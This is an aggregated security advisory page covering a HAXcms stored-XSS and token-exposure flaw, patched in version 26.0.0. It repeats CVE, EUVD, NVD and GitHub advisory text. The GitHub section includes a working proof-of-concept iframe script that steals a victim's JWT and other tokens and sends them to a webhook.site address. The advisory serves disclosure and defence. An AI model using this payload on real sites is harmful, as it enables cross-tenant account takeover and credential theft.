HAXcms: Mass Token Exfiltration and Cross-Tenant Hijack

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HAX CMS helps manage microsite universe with PHP or NodeJs backends. Prior to version 26.0.0, an attack chain utilizing Stored XSS alongside dynamic token exposure in the `/system/api/connectionSettings` endpoint allows an authenticated attacker to perform a complete cross-tenant account takeover. The API dynamically leaks the active session's authentication tokens (including the `jwt`, `user_token`, `site_token`, and `appstore_token`) into a global JavaScript variable (`window.appSettings`). An attacker can exploit the XSS vulnerability to force a victim's browser to silently fetch their specific connection settings, extract the tokens, and exfiltrate them to an attacker-controlled webhook. Version 26.0.0 patches the issue.

Source published

5 Jun 2026 18:32:55 UTC

Source modified

8 Jun 2026 15:55:20 UTC

Saved here

23 Oct 2026 15:48:27 UTC

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CVE Program Terms of Use

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Source: cve-program · CVE Program Terms of Use. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS 4.0 · 8.7 CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

HAX CMS helps manage microsite universe with PHP or NodeJs backends. Prior to version 26.0.0, an attack chain utilizing Stored XSS alongside dynamic token exposure in the `/system/api/connectionSettings` endpoint allows an authenticated attacker to perform a complete cross-tenant account takeover. The API dynamically leaks the active session's authentication tokens (including the `jwt`, `user_token`, `site_token`, and `appstore_token`) into a global JavaScript variable (`window.appSettings`). An attacker can exploit the XSS vulnerability to force a victim's browser to silently fetch their specific connection settings, extract the tokens, and exfiltrate them to an attacker-controlled webhook. Version 26.0.0 patches the issue.

Source published

Jun 5, 2026, 6:32:55 PM (timezone not stated)

Source modified

Jun 8, 2026, 3:55:20 PM (timezone not stated)

Saved here

14 Nov 2026 00:10:06 UTC

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ENISA EUVD · source terms and attribution apply

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Source: euvd · ENISA EUVD · source terms and attribution apply. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

EUVD CVSS 4.0 · 8.7 CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

HAX CMS helps manage microsite universe with PHP or NodeJs backends. Prior to version 26.0.0, an attack chain utilizing Stored XSS alongside dynamic token exposure in the `/system/api/connectionSettings` endpoint allows an authenticated attacker to perform a complete cross-tenant account takeover. The API dynamically leaks the active session's authentication tokens (including the `jwt`, `user_token`, `site_token`, and `appstore_token`) into a global JavaScript variable (`window.appSettings`). An attacker can exploit the XSS vulnerability to force a victim's browser to silently fetch their specific connection settings, extract the tokens, and exfiltrate them to an attacker-controlled webhook. Version 26.0.0 patches the issue.

Source published

5 Jun 2026 19:16:34 UTC

Source modified

17 Jun 2026 10:53:44 UTC

Saved here

25 Oct 2026 12:17:20 UTC

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NIST NVD usage terms; underlying source attribution retained

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Source: nvd · NIST NVD usage terms; underlying source attribution retained. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS 4.0 · [email protected] · Secondary · 8.7 CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

### Summary An attack chain utilizing **Stored XSS** alongside dynamic token exposure in the `/system/api/connectionSettings` endpoint allows an authenticated attacker to perform a complete cross-tenant account takeover. The API dynamically leaks the active session's authentication tokens (including the `jwt`, `user_token`, `site_token`, and `appstore_token`) into a global JavaScript variable (`window.appSettings`). An attacker can exploit the XSS vulnerability to force a victim's browser to silently fetch their specific connection settings, extract the tokens, and exfiltrate them to an attacker-controlled webhook. ### Details In `Operations.php` (`connectionSettings()`), the system returns a Javascript object designed to bootstrap the frontend context. This object, `window.appSettings`, acts as a "skeleton key" because it aggregates all necessary operational tokens for the active session. While HAXcms correctly relies on the cryptographically signed JWT for backend authentication (preventing Direct Object Reference/IDOR attempts), the CMS fails to secure the tokens themselves. Specifically: 1. **The Vector**: The system is vulnerable to Stored XSS (e.g., via injected `iframe` `srcdoc` or `<video-player>`). 2. **The Exposure**: Because the `connectionSettings` endpoint serves the tokens locally based on the active `PHPSESSID` cookie, any malicious script running in the browser context can intercept these keys. 3. **The Chain**: HAXcms isolates user environments by URL path (`/<username>/`). An attacker can use XSS to force the victim's browser to fetch their *target* username's specific settings via `fetch('/<username>/system/api/connectionSettings')`. Since the browser implicitly attaches the victim's session cookie, the server authenticates the request and returns the victim's valid JWT and tokens. ### PoC **1. Setup the Webhook Target** Prepare an external webhook (e.g., `webhook.site`) to receive the stolen data. **2. Inject the "Kill Chain" Payload** As an authenticated attacker (e.g., having edit access to any site), inject the following Javascript via the verified Stored XSS vectors (such as checking the HTML Source of a page and writing an `<iframe>`): ```html <iframe srcdoc="<script> const targetUsername = 'bto108'; // Replace with target victim fetch(`/${targetUsername}/system/api/connectionSettings`) .then(res => res.text()) .then(data => { const s = JSON.parse(data.substring(data.indexOf('{'), data.lastIndexOf('}') + 1)); const uToken = new URL(document.location.origin + s.getUserDataPath).searchParams.get('user_token'); const sToken = new URL(document.location.origin + s.saveNodePath).searchParams.get('site_token'); let aToken = 'N/A'; if (s.appStore && s.appStore.params && s.appStore.params.appstore_token) { aToken = s.appStore.params.appstore_token; } // Exfiltrate via Image Request to bypass CORS const payload = btoa(JSON.stringify({ target: targetUsername, jwt: s.jwt, user_token: uToken, site_token: sToken, appstore_token: aToken })); new Image().src = `https://webhook.site/YOUR-WEBHOOK-ID?data=${payload}`; }); </script>" style="display:none"></iframe> ``` **3. Execution & Verification** - When the victim (e.g., user `bto108`) views the compromised page, their browser automatically fires the `fetch` request, silently attaching their active session cookie. - The server responds with their connection settings. - The script parses their `jwt`, `user_token`, and other keys, encoding them in base64. - The attacker receives the full JWT and token dump on their webhook. *Screenshots confirming the data leakage and webhook capture:*      ### Impact **Critical Severity.** This attack completely compromises the primary defense mechanism of the CMS. By stealing the `jwt` and `user_token`, the attacker achieves **total account hijacking** without needing the victim's password. They can emulate the victim perfectly, bypassing standard interface restrictions to perform malicious administrative actions (creating/deleting sites, modifying user access, or uploading malicious content). The reliance on a global Javascript variable (`window.appSettings`) to store long-lived administrative security tokens creates a devastating chokepoint when combined with XSS.

Source published

19 May 2026 14:47:03 UTC

Source modified

10 Sep 2026 03:50:48 UTC

Saved here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

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Source: osv · GitHub Advisory Database · CC-BY-4.0. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS_V4 · CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Publisher rating · HIGH